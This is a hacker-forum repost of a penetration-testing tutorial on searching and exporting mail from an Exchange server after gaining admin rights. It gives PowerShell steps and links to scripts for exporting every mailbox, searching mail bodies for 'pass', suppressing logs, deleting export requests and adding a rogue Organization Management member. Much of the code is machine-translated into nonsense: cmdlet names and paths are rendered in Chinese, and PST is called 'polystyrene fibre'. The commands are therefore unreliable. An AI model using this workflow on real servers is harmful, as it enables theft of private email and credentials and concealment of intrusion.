跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

渗透基础——从交换服务器上搜索和导出邮件

精选回复

发布于

0x00 前言

在渗透测试中,如果我们获得了交换服务器的管理权限,下一步就需要对交换服务器的邮件进行搜索和导出,本文将要介绍常用的两种方法,开源四个powershell脚本,分享脚本编写细节。

0x01 简介

本文将要介绍以下内容:

管理交换服务器上邮件的两种方法

导出邮件的两种方法

搜索邮件的两种方法

注:

本文介绍的方法均为powershell命令

0x02 管理Exchange服务器上邮件的两种方法

1.先使用PSSession连接Exchange服务器,进而远程管理邮件

使用压力连接交换服务器的命令:

$User='测试\管理员'

$ Pass=convert to-secure string-as plaint ext domain admin 123!-力量

$Credential=新对象系统管理。自动化。PS凭据-参数列表$ User,$Pass

$ Session=New-PS Session-configuration name Microsoft .交换-连接尤里http://Exchange01.test.com/PowerShell/-身份验证Kerberos-凭据$凭据

import-PS Session $ Session-allow clobber

补充:

查看PSSession:

获得-压力

断开PSSession:

删除-PSSession $Session

测试命令(获得所有邮箱用户):

获取邮箱

2.直接在Exchange服务器上执行管理邮件的命令

测试命令(获得所有邮箱用户的名称):

添加-PSSnapin Microsoft .交换。管理。powershell。抢购中;

获取邮箱

注:

不同交换版本对应的管理单元名称不同:

Exchange 2007:

添加-PSSnapin Microsoft .交换。管理。powershell。admin

Exchange 2010:

添加-PSSnapin Microsoft .交换。管理。powershell。e 2010

Exchange 2013 2016:

添加-PSSnapin Microsoft .交换。管理。powershell。抢购中;

补充:管理Exchange邮件的常用命令

参考资料:

https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps

(1)获得所有邮箱用户名称:

获取邮箱结果大小无限制

默认显示1000个用户,加上-结果大小无限制可以获得所有用户

(2)获得所有邮箱的信息,包括邮件数和上次访问邮箱的时间

获取邮箱|获取邮箱统计信息

(3)获得所有OU

Get-OrganizationalUnit

(4)通过邮件跟踪日志获得收发邮件的相关信息

参考资料:

https://份文件。微软。com/en-us/powershell/module/exchange/mail-flow/get-messagetrackinglog?view=exchange-ps

邮件跟踪日志默认保存位置:% exchange installpath %传输角色\日志\邮件跟踪

查看发件人[email protected]从2019年一月一日9:00至今发送的所有邮件的相关信息(包括发件人,收件人和邮件主题):

get-MessageTrackingLog-Start ' 2019年1月11日09:00:00 '-发件人[email protected]

返回的结果很杂乱,其中包括多个事件:

数据平滑网络(雷达)

推迟

传递

发送

接收

只筛选出发送事件,使返回结果更简洁:

get-MessageTrackingLog-EventID send-Start ' 01/11/2019 09:00:00 '-Sender ' test1 @ test。' com '

统计每天收发邮件数目的脚本:

https://画廊。TechNet。微软。com/office/f2af 711 e-defd-476d-896 e-8053 aa 964 BC 5/view/Discussions

需要修改起始时间和添加加载Exchange powershell管理单元的命令

0x03 导出邮件的两种方法

1.使用PSSession建立连接并导出邮件

参考资料:

https://份文件。微软。com/en-us/powershell/module/exchange/mailbox/new-mailboxexportrequest?view=exchange-ps

(1)将用户添加到角色组”Mailbox Import Export”

这里以用户管理人员为例:

新-管理角色分配角色"邮箱导入导出"用户管理员

补充:移除的命令

“删除-管理角色分配-身份”邮箱导入导出-管理员-确认:$false

添加后再次查看进行确认:

get-管理角色分配-角色'邮箱导入导出" |fl用户

(2)重新启动Powershell

否则,无法使用命令New-MailboxexportRequest

(3)导出邮件并保存

这里给出三个实例

1.导出指定用户的所有邮件,保存到交换服务器的c:\test

$User='test1 '

new-MailboxexportRequest-mailbox $ User-file path(' \ \ localhost \ c $ \ test ' $ User ').PST’)

2.筛选出指定用户的身体中包含单词及格的邮件,保存到交换服务器的c:\test

$User='test1 '

new-MailboxexportRequest-mailbox $ User-content filter {(body-like ' * pass * ')}-文件路径(' \ \ localhost \ c $ \ test ' $ User ').PST’)

3.导出所有邮件,保存到交换服务器的c:\test

get-Mailbox-OrganizationalUnit Users-Resultsize unlimited | % { New-Mailbox exportrequest-Mailbox $ _ .名称-文件路径(' \ \ localhost \ c $ \ test '($ _ .名称)'。pst')}

导出后会自动保存导出请求的记录,默认为30天

如果不想保存导出请求,可以加上参数-CompletedRequestAgeLimit 0

补充:关于导出请求的相关操作

查看邮件导出请求:

Get-MailboxExportRequest

删除具体的某个导出请求:

' remove-MailboxExportRequest-请求队列'邮箱数据库2057988509 '-请求guid 650 f 52 EC-722 b-47bb-8e 73-d 16 a17c 32129-确认:$ false

“删除-MailboxExportRequest-Identity”测试。'确认:$ false '

注:

匹配的参数从Get-MailboxExportRequest|fl的结果中获得

删除所有导出请求:

get-MailboxExportRequest | Remove-MailboxExportRequest-Confirm:$ false

综上,导出用户测试一的特定邮件(正文中包含单词通过)到交换服务器的c:\test的实现代码已上传至github,地址如下:

https://github。com/3g student/home-of-Powershell/blob/master/usepssessiontoexportmailfromxexchange。PS1

参数如下:

usepssessiontexportmailfromxexchange-用户'管理员-密码“域名123!”-邮箱test1 '-导出路径' \ \ exchange 01。测试。com \ c $ \ test '-连接uri ' http://exchange 01。测试。com/PowerShell/'-筛选器{`'(body -like `'*pass*`')`'} '

流程如下:

1.使用压力连接到交换服务器

2.判断使用的用户是否被加入到角色组"邮箱导入导出"

如果未被添加,需要添加用户

3.导出邮件并保存至交换服务器的c:\test,格式为聚苯乙烯纤维文件

4.如果新添加了用户,那么会将用户移除角色组"邮箱导入导出"

5.清除压力

导出的聚苯乙烯纤维文件使用观点打开即可

2.在Exchange服务器上直接导出邮件

(1)添加管理单元

不同交换版本对应的管理单元名称不同:

Exchange 2007:

添加-PSSnapin Microsoft .交换。管理。powershell。admin

Exchange 2010:

添加-PSSnapin Microsoft .交换。管理。powershell。e 2010

Exchange 2013 2016:

添加-PSSnapin Microsoft .交换。管理。powershell。抢购中;

不需要考虑角色组,可以直接导出邮件

(2)导出邮件

导出用户测试一的邮件,保存到交换服务器的丙:\测试:

添加-PSSnapin Microsoft .交换。管理。powershell。抢购中;

$User='test1 '

new-MailboxexportRequest-mailbox $ User-file path(' \ \ localhost \ c $ \ test ' $ User ').PST’)

参照一中的功能,导出用户测试一的特定邮件(正文中包含单词通过)到交换服务器的c:\test的实现代码已上传至github,地址如下:

https://github。com/3g student/home-of-Powershell/blob/master/directexportmailfromxexchange。PS1

参数如下:

directexportmailfromxexchange-邮箱test1 '-导出路径' \ \ localhost \ c $ \ test '-筛选器{ ` '(body-like ` ' * pass * ` ')` ' } '-版本2013

注:

需要指定交换版本

流程如下:

1.添加管理单元

2.导出邮件并保存至交换服务器的c:\test,格式为聚苯乙烯纤维文件

导出的聚苯乙烯纤维文件使用观点打开即可

0x04 搜索邮件的两种方法

1.使用PSSession建立连接并搜索邮件

基本流程同导出邮件相似,区别在于角色组'邮箱导入导出'需要更换成'邮箱搜索'

实现代码已上传至github,地址如下:

https://github。com/3g student/home-of-Powershell/blob/master/usepssessiontsearchmailfromxexchange。PS1

从用户测试一中搜索包含单词及格的邮件并保存到用户测试2的out2文件夹,参数如下:

usepssessiontsearchmailfromxexchange-用户'管理员-密码“域名123!”-邮箱test1 '-连接uri ' http://exchange 01。测试。com/PowerShell/'-筛选器*通过* '-目标邮箱测试2 '-目标文件夹输出2 '

导出的结果如下图

2-1.png

搜索所有包含单词及格的邮件并保存到用户测试2的outAll文件夹,参数如下:

usepssessiontsearchmailfromxexchange-用户'管理员-密码“域名123!”-邮箱all '-连接uri ' http://exchange 01。测试。com/PowerShell/'-筛选器*通过* '-目标邮箱'测试2 '-目标文件夹'全部删除'

导出的结果如下图

2-2.png

2.在Exchange服务器上直接搜索邮件

基本流程同导出邮件相似,在具体命令上存在一些区别

实现代码已上传至github,地址如下:

https://github。com/3g student/home-of-Powershell/blob/master/directsearchmailfromxexchange。PS1

从用户测试一中搜索包含单词及格的邮件并保存到用户测试2的out2文件夹,参数如下:

directsearchmailfromxexchange-邮箱测试1 '-筛选器*通过* '-目标邮箱测试2 '-目标文件夹2英尺外-版本2013

搜索所有包含单词及格的邮件并保存到用户测试2的outAll文件夹,参数如下:

directsearchmailfromxexchange-邮箱所有'-筛选器*通过* '-目标邮箱测试2 '-目标文件夹“全力以赴”版本2013

补充1:搜索邮件的常用命令

(1)枚举所有邮箱用户,显示包含关键词及格的邮件的数量

get-Mailbox | Search-Mailbox-Search查询' * pass * '-EstimateResultOnly

(2)搜索邮箱用户测试1,显示包含关键词及格的邮件的数量

search-Mailbox-Identity test1-搜索查询' * pass * '-estimateresultly

示例如下图,数量为四个

2-3.png

(3)枚举所有邮箱用户,导出包含关键词及格的邮件至用户测试2的文件夹在外中(不保存日志):

get-Mailbox | Search-Mailbox-Search查询' * pass * '-目标邮箱' test2 '-目标文件夹' out '-日志级别隐藏

(4)搜索邮箱用户测试1,导出包含关键词及格的邮件至用户测试2的文件夹在外中(不保存日志):

search-Mailbox-Identity test1-搜索查询' * pass * '-目标邮箱' test2 '-目标文件夹' out '-日志级别隐藏

补充2 通过ECP搜索邮件

登录ecp,将当前用户加入发现管理组中

刷新页面

选择合规管理-就地电子发现封存

具体操作细节可参考:https://个文档。微软。com/en-us/exchange/security-and-compliance/就地电子发现/就地电子发现?重定向自=MSDN #角色

补充3 命令行下添加管理员用户

powershell-c ' Add-PSSnapin Microsoft .交换。管理。powershell。抢购中;$ pwd=convert to-secure string password 123-asplaintext-force;new-Mailbox-UserPrincipalName test user 1 @ test . com-OrganizationalUnit test.com/Users-别名测试用户1-名称测试用户1-显示名称测试用户1-密码$ pwd' Add-RoleGroupMember '组织管理-成员' testuser 1-BypassSecurityGroupManagerCheck '

0x05 小结

本文介绍了管理交换邮件的两种方式:在交换服务器上直接调用管理单元和使用压力建立连接并远程管理邮件,分别介绍了对应的导出和搜索邮件的方法,开源四个powershell脚本,分享脚本编写细节。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。